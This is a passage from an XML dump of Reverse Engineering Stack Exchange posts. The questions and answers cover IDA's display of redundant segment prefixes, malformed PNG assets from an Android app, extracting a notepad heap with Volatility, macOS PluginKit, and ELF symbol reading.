noreferrer&quot;&gt;BlackBone&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20183" LastActivityDate="2017-08-25T09:52:07.800" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16178" PostTypeId="1" AcceptedAnswerId="16180" CreationDate="2017-08-25T12:13:57.427" Score="10" ViewCount="5752" Body="&lt;p&gt;I'm trying to analyze a MS-DOS COM file that I wrote a few years ago with IDA Free 5.0, I've since renamed the segment to &lt;code&gt;code_and_data&lt;/code&gt; and named constants and set data types correctly. However, when looking at the disassembly, I get &lt;code&gt;db&lt;/code&gt; pseudo-instructions in the listing, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;code_and_data:0106 replacement_irq_handler:                ; DATA XREF: start+81o&#xA;code_and_data:0106                 cli&#xA;code_and_data:0107                 push    bx&#xA;code_and_data:0108                 db      3Eh&#xA;code_and_data:0108                 cmp     byte ptr ds:3BEh, 'C'&#xA;code_and_data:010E                 jnz     short call_original_dos_interrupt_handler&#xA;code_and_data:0110                 db      3Eh&#xA;code_and_data:0110                 cmp     byte ptr ds:3C0h, 'A'&#xA;code_and_data:0116                 jnz     short call_original_dos_interrupt_handler&#xA;code_and_data:0118                 db      3Eh&#xA;code_and_data:0118                 cmp     byte ptr ds:3C2h, 'K'&#xA;code_and_data:011E                 jnz     short call_original_dos_interrupt_handler&#xA;code_and_data:0120                 db      3Eh&#xA;code_and_data:0120                 cmp     byte ptr ds:3C4h, 'O'&#xA;code_and_data:0126                 jnz     short call_original_dos_interrupt_handler&#xA;code_and_data:0128                 db      3Eh&#xA;code_and_data:0128                 cmp     byte ptr ds:3C6h, 'N'&#xA;code_and_data:012E                 jnz     short call_original_dos_interrupt_handler&#xA;code_and_data:0130                 push    StartOfIndexTable&#xA;code_and_data:0133                 pop     bx&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand that there are no additional bytes there, since the &lt;code&gt;db&lt;/code&gt; and the &lt;code&gt;cmp&lt;/code&gt; instruction after it start at the same address (see left column). Why does IDA show/add those &lt;code&gt;db&lt;/code&gt; pseudo-instructions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to tell it to not show those, or is there a reason why it might be useful (I could only guess that since the same segment is both used for code and data, it tries to be &quot;helpful&quot; and show the code as data as well)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if so, why does it only show the first byte of the instruction (if you look at the addresses on the left again, these instructions are longer than 1 byte).&lt;/p&gt;&#xA;" OwnerUserId="17018" LastActivityDate="2017-08-26T08:15:38.163" Title="Why does IDA add &quot;db&quot; statements between disassembled code" Tags="|ida|disassembly|x86|dos-com|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16179" PostTypeId="2" ParentId="16178" CreationDate="2017-08-25T13:23:40.493" Score="6" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Edit:&lt;/strong&gt; Thanks Michael for the clarification, these are not Branch hints, but Segment Prefixes. Keeping the answer for a reference and for people coming from search engines.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;These are&lt;/strike&gt; &lt;em&gt;&quot;Branch Hints&quot;&lt;/em&gt; which aim to give the processor a &quot;hint&quot; as to whether or not a branch is likely to occur.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Branch Prediction&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It used for optimization that is called Branch Prediction — an attempt that is done by the processor to predict which branch the code would take. The CPU is able to keep processing by making an assumptions about the direction of a branch before a condition is resolved. Otherwise, it was &quot;sitting&quot; and waiting for the condition the branch is dependent on to be resolved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Branch_predictor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computer architecture, a &lt;strong&gt;branch predictor&lt;/strong&gt; is a&#xA;  digital circuit that tries to guess which way a branch (e.g. an&#xA;  if-then-else structure) will go before this is known for sure. The&#xA;  purpose of the branch predictor is to improve the flow in the&#xA;  instruction pipeline. Branch predictors play a critical role in&#xA;  achieving high effective performance in many modern pipelined&#xA;  microprocessor architectures such as x86.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Branch Hints&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hint the CPU about the likelihood that a branch would be taken by using hint bytes that are inserted before a conditional jump instruction.&#xA;This is done by using branch-hint-bytes which are inserted immediately before the conditional jump instruction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bytes are &lt;code&gt;3Eh&lt;/code&gt; and &lt;code&gt;2Eh&lt;/code&gt; and respectively they mean as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;2Eh&lt;/code&gt; - hint that the branch will not occur most of the time.&lt;br&gt;&#xA;  &lt;code&gt;3Eh&lt;/code&gt; - hint that the branch will occur most of the time.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More Information:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about branch hints and optimisation &lt;a href=&quot;http://www.godevtool.com/TestbugHelp/Optimisation.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (recommended) and &lt;a href=&quot;http://flylib.com/books/en/2.630.1.96/1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;br&gt;&#xA;If you want to read more about Branch Prediction I recommend &lt;a href=&quot;http://web.engr.oregonstate.edu/~benl/Projects/branch_pred/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; article about Dynamic Branch Prediction.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2017-08-26T08:15:38.163" LastActivityDate="2017-08-26T08:15:38.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16180" PostTypeId="2" ParentId="16178" CreationDate="2017-08-25T18:14:29.870" Score="12" Body="&lt;p&gt;The byte &lt;code&gt;3Eh&lt;/code&gt; is the encoding of the segment override &lt;code&gt;DS:&lt;/code&gt;. You observe it in an instruction like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp     byte ptr ds:3BEh, 'C'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hex encoding of this instruction is (I did this manually, some bit might be wrong)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3E    - segement override prefix&#xA;80    - 8 bit ALU instruction&#xA;3E    - mod/rm byte (reg = 7 -&amp;gt; instruction is CMP, mod = 0/rm = 6 -&amp;gt; immediate address)&#xA;BE 03 - offset of data to compare&#xA;43    - immediate data byte&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sequence &lt;code&gt;3E 80 3E BE 03 53&lt;/code&gt; is 6 bytes long, which matches the actual instruction length of 6 bytes (&lt;code&gt;010Eh - 0108h&lt;/code&gt;). If you assemble the assembler source code as given by IDA using a standard x86 assembler (like &lt;code&gt;MASM&lt;/code&gt;), the &lt;code&gt;DS:&lt;/code&gt; prefix will be ommitted, because the addressing mode &quot;immediate address&quot; is relative to the data segment &lt;em&gt;by default&lt;/em&gt;. IDA shows the extra &lt;code&gt;DB&lt;/code&gt; instruction to tell you (or an assembler that tries to re-assemble the listing) that the redundant, superflous segment prefix is actually encoded in the binary. If you want to hide that information, check Options -&gt; General -&gt; Analysis -&gt; &quot;Processor specific analysis options&quot; -&gt; &quot;Don't display redundant instruction prefixes&quot;.&lt;/p&gt;&#xA;" OwnerUserId="21359" LastActivityDate="2017-08-25T18:14:29.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16182" PostTypeId="1" AcceptedAnswerId="16912" CreationDate="2017-08-25T20:43:45.057" Score="1" ViewCount="2612" Body="&lt;p&gt;I am unable to open PNG files extracted from a certain Android app. I can't open them with the stock Android Gallery app. I can't open them in image browsers after downloading them on my computer. Analyzing the files with pngcheck results in &lt;code&gt;this is neither a PNG or JNG image nor a MNG stream&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files in question were extracted with apktool. Extracting them directly from device cache leads to the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further investigation with a hex editor shows that the files are missing the PNG signature and the IHDR chunk, which are normally present in a valid PNG file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the headers and first few lines of both files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;41 6E 74 6D 02 C5 01 DB FB C3 AB 00 00 00 00 00 63 BA A4 AD E7 E0 F0 E0 EA EA EA E7 A3 A2 AE B8 EA EA EA AA EA EA EA AA E2 E9 EA EA EA 77 5D 6B 06 EA EA EA EE 8D AB A7 AB EA EA 5B 65 E1 16 8B EF EA EA EA EB 99 B8 AD A8 EA 44 24 F6 03 EA EA E8 8B BA A6 BE AF EB F3 EA EA E5 EA EA FE EA EB F1 EA 09 13 3F E8 F4 EB EA E0 EA 0A 12 38 EA F8 EA E8 CB EB 34 1D 25 EB FD EA 31 1C 26 05 11 0C 1F 17 07 EA CE EA 32 1F 22 3E 1E 2F EA EF EA EA 07 00 00 0C 00 E9 FB DD 00 6E 00 10 68 07 E4 F9 D7 05 24 02 01 6B 00 0B 43 05 00 09 00 00 30 00 00 28 00 07 34 03 18 9B 0B 0F 62 07 01 73 00 07 39 03 ED FC E3 0D 57 06 E7 FA DB 0C 52 05 13 70 08 F2 FD EA EB FB E0 E6 F9 D9 00 2C 00 08 7C 03 C1 EB B1 06 2C 03 07 30 03 A3 DF 95 01 50 00 0A 3E 04 0F 5C 07 11 78 07 10 8B 07 04 78 01 2D B8 ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;41 6E 74 6D 02 09 01 77 D9 ED AB 00 00 00 00 00 63 BA A4 AD E7 E0 F0 E0 EA EA EA E7 A3 A2 AE B8 EA EA EA 98 EA EA EA 98 E2 E9 EA EA EA 52 E9 9F A5 EA EA EA EE 8D AB A7 AB EA EA 5B 65 E1 16 8B EF EA EA EA EB 99 B8 AD A8 EA 44 24 F6 03 EA EA E9 EA BA A6 BE AF A6 83 9B 6F BF C6 6F BF C1 57 E2 ED 81 6A 22 02 C9 C9 9A D9 F5 68 29 1B 6E BC C1 6F 80 62 6C B9 C1 14 4A 4E 81 68 2D 53 9B D4 14 14 14 34 2D 3D 81 6B 23 B2 81 77 03 32 0B 68 C2 F0 AE DB F3 B7 99 AE CB A7 C3 3E BC BF ED 93 51 02 A3 00 B9 73 39 B0 6D 38 E0 CB DA FF FE FF CD A5 C5 C6 A1 BD 81 BF EE 2B 53 81 2D 56 86 84 0E 0A FE 5D 65 BB 96 B2 98 3C 50 25 4A 7A 79 41 2B E6 D6 E3 D2 15 15 FE 9C A2 83 4D 27 AF 8C A7 5A 41 26 B7 71 3D 32 65 A7 DE C9 D8 D0 11 10 D8 BF D1 CA 0A 09 CE 16 15 62 3B 29 83 68 85 CC A7 ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By comparison, here's the beginning of an example valid PNG:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 ...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, both files have IDAT and IEND chunks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am only interested in viewing the files. How can I &quot;repair&quot; them so they can be opened in normal image viewers?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: I played with the files over the weekend and I arrived at the similar conclusions. I've decided to focus entirely on IDAT chunks. Here's what I found so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked for &lt;code&gt;00&lt;/code&gt; bytes that are evenly spaced. This allowed me to find scanlines of equal size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I know the full size of the IDAT chunk and the number of scanlines (height), I can guess width and they layout of pixels. Using truecolor pixels ended up with overstretched images. Using greyscale pixels was more promising, but well, it's greyscale - and I'm interested in color files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be that the colors are indexed with a palette?&lt;/p&gt;&#xA;" OwnerUserId="21363" LastEditorUserId="21363" LastEditDate="2017-12-04T20:07:50.130" LastActivityDate="2017-12-05T11:32:07.097" Title="Opening non-standard PNG files extracted from Android app - missing signature and IHDR chunk" Tags="|android|file-format|apk|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16184" PostTypeId="2" ParentId="16176" CreationDate="2017-08-26T11:15:37.987" Score="4" Body="&lt;p&gt;So your question is somewhat vague. However, even without providing additional information of your target system, version and used profile, I try to give an introductive answer for Windows systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the Process Environment Block (&lt;code&gt;PEB&lt;/code&gt;) stored in the &lt;code&gt;_EPROCESS&lt;/code&gt; Structure to identify the heap segments. There are three important points, which you should consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;PEB.ProcessHeap&lt;/code&gt; Represents the main heap, which is always&#xA;initialized during startup.  &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PEB.NumberOfHeaps&lt;/code&gt; A process could&#xA;additional create heaps.  &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PEB.ProcessHeaps&lt;/code&gt; Pointers to process&#xA;heaps, where offset zero points to &lt;code&gt;PEB.ProcessHeap&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another possibility is to explore the &lt;code&gt;VAD&lt;/code&gt; structures. The book gives a good introduction to filter processes with the help of &lt;code&gt;vadinfo&lt;/code&gt; and &lt;code&gt;vadtree&lt;/code&gt;. But you should always consider: The fragments of the heap could only be extracted as long as they are not swapped to disk. Thus, some data could be missing, as those pages haven't been acquired in your dump.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I will replay an example similar example to the one provided by the book itself. Expecting a running application with a heap of interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TNeaB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TNeaB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's first extract the process of interest with its corresponding PID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python vol.py -f /media/sf_FODEB8/MW-PC-20170826-101847.raw --profile=Win7SP1x64 pslist | grep notepad&#xA;Volatility Foundation Volatility Framework 2.6&#xA;0xfffffa8000f6c060 notepad.exe            1596   2412      2       56      1      0 2017-08-26 10:17:11 UTC+0000 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We examine the heap structure with the help of the vadtree plugin and plot it out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python vol.py -f /media/sf_FODEB8/MW-PC-20170826-101847.raw --profile=Win7SP1x64 vadtree --output=dot --output-file=graph.dot -p 1596&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inspecting the graph with &lt;code&gt;xdot&lt;/code&gt; highlights heaps within the process structure (red nodes):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1Vc2e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Vc2e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start up the &lt;code&gt;volshell&lt;/code&gt; by defining your POI with the PID and manually inspect the different VADs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python vol.py -f /media/sf_FODEB8/MW-PC-20170826-101847.raw --profile=Win7SP1x64 volshell -p 1596&#xA;Volatility Foundation Volatility Framework 2.6&#xA;Current context: notepad.exe @ 0xfffffa8000f6c060, pid=1596, ppid=2412 DTB=0x65eb000&#xA;Welcome to volshell! Current memory image is:&#xA;file:///media/sf_FODEB8/MW-PC-20170826-101847.raw&#xA;To get help, type 'hh()'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After some searching (determining &lt;code&gt;0x00000000001e0000+0x038c20&lt;/code&gt; is your job):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; db(0x00000000001e0000+0x038c20, 0xff)&#xA;0x00218c20  00 00 00 00 00 00 00 00 8b 2f bd 3e 48 69 00 2e   ........./.&amp;gt;Hi..&#xA;0x00218c30  0d 00 0a 00 54 00 68 00 69 00 73 00 20 00 69 00   ....T.h.i.s...i.&#xA;0x00218c40  73 00 20 00 73 00 75 00 70 00 65 00 72 00 20 00   s...s.u.p.e.r...&#xA;0x00218c50  73 00 65 00 63 00 72 00 65 00 74 00 20 00 2d 00   s.e.c.r.e.t...-.&#xA;0x00218c60  20 00 64 00 6f 00 6e 00 27 00 74 00 20 00 73 00   ..d.o.n.'.t...s.&#xA;0x00218c70  68 00 61 00 72 00 65 00 20 00 69 00 74 00 20 00   h.a.r.e...i.t...&#xA;0x00218c80  77 00 69 00 74 00 68 00 20 00 6f 00 74 00 68 00   w.i.t.h...o.t.h.&#xA;0x00218c90  65 00 72 00 20 00 70 00 61 00 72 00 74 00 69 00   e.r...p.a.r.t.i.&#xA;0x00218ca0  65 00 73 00 20 00 6f 00 72 00 20 00 70 00 65 00   e.s...o.r...p.e.&#xA;0x00218cb0  72 00 73 00 6f 00 6e 00 73 00 2e 00 0d 00 0a 00   r.s.o.n.s.......&#xA;0x00218cc0  0d 00 0a 00 0d 00 0a 00 54 00 48 00 49 00 45 00   ........T.H.I.E.&#xA;0x00218cd0  46 00 31 00 20 00 3a 00 20 00 49 00 20 00 77 00   F.1...:...I...w.&#xA;0x00218ce0  69 00 6c 00 6c 00 20 00 72 00 6f 00 62 00 20 00   i.l.l...r.o.b...&#xA;0x00218cf0  74 00 68 00 65 00 20 00 62 00 61 00 6e 00 6b 00   t.h.e...b.a.n.k.&#xA;0x00218d00  20 00 6e 00 65 00 78 00 74 00 20 00 77 00 65 00   ..n.e.x.t...w.e.&#xA;0x00218d10  65 00 6b 00 20 00 74 00 6f 00 20 00 65 00 61      e.k...t.o...e.a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way would be to simply dump the whole VAD structure of the specific process into a folder, and roughly overlook for your expected outputs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; mkdir vads&#xA;&amp;gt; python vol.py -f /media/sf_FODEB8/MW-PC-20170826-101847.raw --profile=Win7SP1x64 vaddump -p 1596 -D vads&#xA;Volatility Foundation Volatility Framework 2.6&#xA;Pid        Process              Start              End                Result&#xA;---------- -------------------- ------------------ ------------------ ------&#xA;      1596 notepad.exe          0x000000007ffe0000 0x000000007ffeffff vads/notepad.exe.1f76c060.0x000000007ffe0000-0x000000007ffeffff.dmp&#xA;      1596 notepad.exe          0x00000000002e0000 0x00000000003dffff vads/notepad.exe.1f76c060.0x00000000002e0000-0x00000000003dffff.dmp&#xA;      1596 notepad.exe          0x00000000000d0000 0x000000000014ffff vads/notepad.exe.1f76c060.0x00000000000d0000-0x000000000014ffff.dmp&#xA;      1596 notepad.exe          0x0000000000040000 0x0000000000041fff vads/notepad.exe.1f76c060.0x0000000000040000-0x0000000000041fff.dmp&#xA;      [SHORTENED]&#xA;      vads/notepad.exe.1f76c060.0x000007feff080000-0x000007feff080fff.dmp&#xA;      1596 notepad.exe          0x000007fffffdc000 0x000007fffffddfff vads/notepad.exe.1f76c060.0x000007fffffdc000-0x000007fffffddfff.dmp&#xA;      1596 notepad.exe          0x000007fffffd8000 0x000007fffffd8fff vads/notepad.exe.1f76c060.0x000007fffffd8000-0x000007fffffd8fff.dmp&#xA;      1596 notepad.exe          0x000007fffffde000 0x000007fffffdffff vads/notepad.exe.1f76c060.0x000007fffffde000-0x000007fffffdffff.dmp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inspecting the dumps reveals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxd -a notepad.exe.1f76c060.0x00000000001e0000-0x00000000002dffff.dmp | less&#xA;&#xA;  *&#xA;  0038c20: 0000 0000 0000 0000 8b2f bd3e 4869 002e  ........./.&amp;gt;Hi..&#xA;  0038c30: 0d00 0a00 5400 6800 6900 7300 2000 6900  ....T.h.i.s. .i.&#xA;  0038c40: 7300 2000 7300 7500 7000 6500 7200 2000  s. .s.u.p.e.r. .&#xA;  0038c50: 7300 6500 6300 7200 6500 7400 2000 2d00  s.e.c.r.e.t. .-.&#xA;  0038c60: 2000 6400 6f00 6e00 2700 7400 2000 7300   .d.o.n.'.t. .s.&#xA;  0038c70: 6800 6100 7200 6500 2000 6900 7400 2000  h.a.r.e. .i.t. .&#xA;  0038c80: 7700 6900 7400 6800 2000 6f00 7400 6800  w.i.t.h. .o.t.h.&#xA;  0038c90: 6500 7200 2000 7000 6100 7200 7400 6900  e.r. .p.a.r.t.i.&#xA;  0038ca0: 6500 7300 2000 6f00 7200 2000 7000 6500  e.s. .o.r. .p.e.&#xA;  0038cb0: 7200 7300 6f00 6e00 7300 2e00 0d00 0a00  r.s.o.n.s.......&#xA;  0038cc0: 0d00 0a00 0d00 0a00 5400 4800 4900 4500  ........T.H.I.E.&#xA;  0038cd0: 4600 3100 2000 3a00 2000 4900 2000 7700  F.1. .:. .I. .w.&#xA;  0038ce0: 6900 6c00 6c00 2000 7200 6f00 6200 2000  i.l.l. .r.o.b. .&#xA;  0038cf0: 7400 6800 6500 2000 6200 6100 6e00 6b00  t.h.e. .b.a.n.k.&#xA;  0038d00: 2000 6e00 6500 7800 7400 2000 7700 6500   .n.e.x.t. .w.e.&#xA;  0038d10: 6500 6b00 2000 7400 6f00 2000 6500 6100  e.k. .t.o. .e.a.&#xA;  0038d20: 7200 6e00 2000 6100 2000 7300 6800 6900  r.n. .a. .s.h.i.&#xA;  0038d30: 7400 2000 7400 6f00 6e00 2000 6f00 6600  t. .t.o.n. .o.f.&#xA;  0038d40: 2000 6d00 6f00 6e00 6500 7900 2e00 2e00   .m.o.n.e.y.....&#xA;  0038d50: 2e00 0d00 0a00 5400 4800 4900 4500 4600  ......T.H.I.E.F.&#xA;  0038d60: 3200 2000 3a00 2000 5300 6f00 7500 6e00  2. .:. .S.o.u.n.&#xA;  0038d70: 6400 7300 2000 6700 7200 6500 6100 7400  d.s. .g.r.e.a.t.&#xA;  0038d80: 2000 2100 2000 4c00 6500 7400 2700 7300   .!. .L.e.t.'.s.&#xA;  0038d90: 2000 6400 6f00 2000 6900 7400 2100 0d00   .d.o. .i.t.!...&#xA;  0038da0: 0a00 5400 4800 4900 4500 4600 3100 2000  ..T.H.I.E.F.1. .&#xA;  0038db0: 3a00 2000 4800 6500 7200 6500 2000 6100  :. .H.e.r.e. .a.&#xA;  0038dc0: 7200 6500 2000 7300 6f00 6d00 6500 2000  r.e. .s.o.m.e. .&#xA;  0038dd0: 7000 6100 7300 7300 7700 6f00 7200 6400  p.a.s.s.w.o.r.d.&#xA;  0038de0: 7300 0d00 0a00 5400 4800 4900 4500 4600  s.....T.H.I.E.F.&#xA;  0038df0: 3100 2000 3a00 2000 7300 7500 7000 6500  1. .:. .s.u.p.e.&#xA;  0038e00: 7200 5300 6500 6300 7200 6500 7400 3100  r.S.e.c.r.e.t.1.&#xA;  0038e10: 3300 3300 3700 0d00 0a00 5400 4800 4900  3.3.7.....T.H.I.&#xA;  0038e20: 4500 4600 3100 2000 3a00 2000 4100 5300  E.F.1. .:. .A.S.&#xA;  0038e30: 4400 4600 3100 3300 3300 3700 0000 0000  D.F.1.3.3.7.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also take a look in the following &lt;a href=&quot;https://github.com/volatilityfoundation/volatility/blob/master/volatility/plugins/notepad.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;plugin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2017-08-26T11:15:37.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16185" PostTypeId="1" CreationDate="2017-08-26T12:00:44.483" Score="8" ViewCount="1361" Body="&lt;p&gt;I've been tasked with an assignment requiring a thorough reverse engineering effort on the PluginKit framework in modern Mac operating system, and I'm looking for information to start off, instead of starting from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, I need to get a decent understanding of the internal storage and configuration layout and format of PluginKit, as well as how it's being manipulated, updated and read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only resource I've managed to come up with is &lt;a href=&quot;https://medium.com/@avaidyam/nsextension-pluginkit-a-brief-intro-2803be91a777&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; medium short article from over a year ago, by a person called Aditya Vaidyam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found no relevant information (according to table of contents) in Mac OSX Internals by Amit Singh or in MacOS and *OS Internals by Jonathan Levin, and didn't find anything else to look at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question therefore is two-fold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Are there any other resources available that describe in-detail the OSX frameworks and the PluginKit framework specifically?&lt;/li&gt;&#xA;&lt;li&gt;What other resources, pointers, tips and previous research would you suggest I read before going into the task?  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-08-30T11:43:37.507" LastActivityDate="2018-08-25T02:14:06.413" Title="Reverse engineering the PluginKit MacOS framework" Tags="|osx|macos|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16189" PostTypeId="1" CreationDate="2017-08-26T19:40:10.207" Score="2" ViewCount="88" Body="&lt;p&gt;I am wondering why the assembly instructions also have an adresses (When I open Olly and debug any program I see them there next to the op codes) ? Or this is the address where the result of the instruction is stored ? &lt;/p&gt;&#xA;" OwnerUserId="21371" LastActivityDate="2017-08-27T09:58:53.143" Title="Why the assembly instructions also have an adresses ?" Tags="|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16190" PostTypeId="2" ParentId="16189" CreationDate="2017-08-27T09:58:53.143" Score="3" Body="&lt;p&gt;In fact, the assembly instructions does not have addresses built-in... But, when analyzing a program, you may encounter more than once the same instruction. In order to make it '&lt;em&gt;unique&lt;/em&gt;' in the program (and, thus, understand the role it plays in the program), you have to link it to the address it has in the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow, it is very similar to line numbers associated to a program you write in a programming language. The &lt;code&gt;if (test)&lt;/code&gt; line 10 is not the same than the &lt;code&gt;if (test)&lt;/code&gt; of line 25.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-08-27T09:58:53.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16191" PostTypeId="2" ParentId="13024" CreationDate="2017-08-27T11:23:22.133" Score="2" Body="&lt;p&gt;To read with &lt;em&gt;readelf&lt;/em&gt; the parameter is &quot;-s&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Options are:&#xA;    -a --all               Equivalent to: -h -l -S -s -r -d -V -A -I&#xA;    -h --file-header       Display the ELF file header&#xA;    -l --program-headers   Display the program headers&#xA;        --segments          An alias for --program-headers&#xA;    -S --section-headers   Display the sections' header&#xA;       --sections          An alias for --section-headers&#xA;    -g --section-groups    Display the section groups&#xA;    -t --section-details   Display the section details&#xA;    -e --headers           Equivalent to: -h -l -S&#xA;    -s --syms              Display the symbol table&#xA;       --symbols           An alias for --syms&#xA;    --dyn-syms             Display the dynamic symbol table&#xA;    -n --notes             Display the core notes (if present)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, with &lt;em&gt;readelf -s module.ko&lt;/em&gt; is enough to read the symbols. &lt;/p&gt;&#xA;" OwnerUserId="20381" LastActivityDate="2017-08-27T11:23:22.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16193" PostTypeId="1" CreationDate="2017-08-27T14:04:18.410" Score="2" ViewCount="2401" Body="&lt;p&gt;I'm new with IDA. Say I have a variable which is created in some function and it is argument to other functions.&lt;br&gt;&#xA;My question is how to monitor this variable? In monitor I mean is there any way to set some kind of breakpoint and stop execution every time something is written or read from this variable? Or somehow trace the read/write operation on it? thanks.&lt;/p&gt;&#xA;" OwnerUserId="21378" LastActivityDate="2017-08-29T07:18:32.537" Title="IDA PRO: Monitor variable during execution" Tags="|ida|disassembly|debugging|ida-plugin|executable|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
